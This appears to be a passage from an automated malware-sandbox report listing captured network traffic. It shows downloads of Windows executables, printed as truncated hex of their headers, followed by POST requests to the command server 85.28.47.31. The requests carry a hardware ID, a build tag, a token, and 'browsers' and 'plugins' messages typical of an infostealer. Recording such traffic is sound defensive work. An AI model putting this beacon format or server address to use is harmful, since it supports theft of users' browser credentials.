00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 24 Jul 2024 00:40:06 GMTContent-Type: application/octet-streamContent-Length: 12945034Last-Modified: Tue, 23 Jul 2024 23:44:05 GMTConnection: keep-aliveETag: "66a04045-c5868a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb c5 00 02 00 60 c1 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c c7 03 00 78 00 00 00 00 90 04 00 b4 2b 00 00 00 60 04 00 08 22 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 68 07 00 00 c0 9d 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9c 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 42 26 01 00 00 b0 02 00 00 28 01 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 73 00 00 00 e0 03 00 00 0e 00 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 22 00 00 00 60 04 00 00 24 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 b4 2b 00 00 00 90 04 00 00 2c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 07 00 00 00 c0 04 00 00 08 00 00 00 1e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 24 Jul 2024 00:40:06 GMTContent-Type: application/octet-streamContent-Length: 12945034Last-Modified: Tue, 23 Jul 2024 23:44:05 GMTConnection: keep-aliveETag: "66a04045-c5868a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb c5 00 02 00 60 c1 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c c7 03 00 78 00 00 00 00 90 04 00 b4 2b 00 00 00 60 04 00 08 22 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 68 07 00 00 c0 9d 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9c 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 42 26 01 00 00 b0 02 00 00 28 01 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 73 00 00 00 e0 03 00 00 0e 00 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 22 00 00 00 60 04 00 00 24 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 b4 2b 00 00 00 90 04 00 00 2c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 07 00 00 00 c0 04 00 00 08 00 00 00 1e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:40:07 GMTContent-Type: application/octet-streamContent-Length: 192000Last-Modified: Mon, 22 Jul 2024 02:01:04 GMTConnection: keep-aliveETag: "669dbd60-2ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 af 9d 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a9 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 23 00 7c 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 de ce 00 00 00 e0 01 00 00 d0 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 2b 21 00 00 b0 02 00 00 0c 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2a 44 00 00 00 e0 23 00 00 46 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:40:07 GMTContent-Type: application/octet-streamContent-Length: 192000Last-Modified: Mon, 22 Jul 2024 02:01:04 GMTConnection: keep-aliveETag: "669dbd60-2ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 af 9d 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a9 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 23 00 7c 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 de ce 00 00 00 e0 01 00 00 d0 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 2b 21 00 00 b0 02 00 00 0c 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2a 44 00 00 00 e0 23 00 00 46 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 24 Jul 2024 00:40:06 GMTContent-Type: application/octet-streamContent-Length: 12945034Last-Modified: Tue, 23 Jul 2024 23:44:05 GMTConnection: keep-aliveETag: "66a04045-c5868a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 37 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 8e 01 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 9e eb c5 00 02 00 60 c1 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c c7 03 00 78 00 00 00 00 90 04 00 b4 2b 00 00 00 60 04 00 08 22 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 68 07 00 00 c0 9d 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9c 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 42 26 01 00 00 b0 02 00 00 28 01 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 73 00 00 00 e0 03 00 00 0e 00 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 22 00 00 00 60 04 00 00 24 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 b4 2b 00 00 00 90 04 00 00 2c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 07 00 00 00 c0 04 00 00 08 00 00 00 1e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Jul 2024 00:40:09 GMTContent-Type: application/octet-streamContent-Length: 290816Last-Modified: Wed, 24 Jul 2024 00:35:02 GMTConnection: keep-aliveETag: "66a04c36-47000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 13 47 21 47 57 26 4f 14 57 26 4f 14 57 26 4f 14 38 50 d1 14 44 26 4f 14 38 50 e5 14 33 26 4f 14 38 50 e4 14 48 26 4f 14 5e 5e dc 14 50 26 4f 14 57 26 4e 14 26 26 4f 14 38 50 e0 14 56 26 4f 14 38 50 d5 14 56 26 4f 14 38 50 d2 14 56 26 4f 14 52 69 63 68 57 26 4f 14 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 78 60 8b 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 f6 02 00 00 44 03 02 00 00 00 00 d8 2e 00 00 00 10 00 00 00 10 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 05 02 00 04 00 00 9a fc 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 3c 03 00 50 00 00 00 00 60 05 02 40 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 3c 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 03 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a3 f4 02 00 00 10 00 00 00 f6 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 36 00 00 00 10 03 00 00 38 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 0b 02 02 00 50 03 00 00 ba 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 83 00 00 00 60 05 02 00 84 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBFHost: 85.28.47.31Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 2d 2d 0d 0a Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="build"sila------EBAAAFBGDBKKEBGCFCBF--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="message"browsers------GIIIECBGDHJJKFIDAKJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 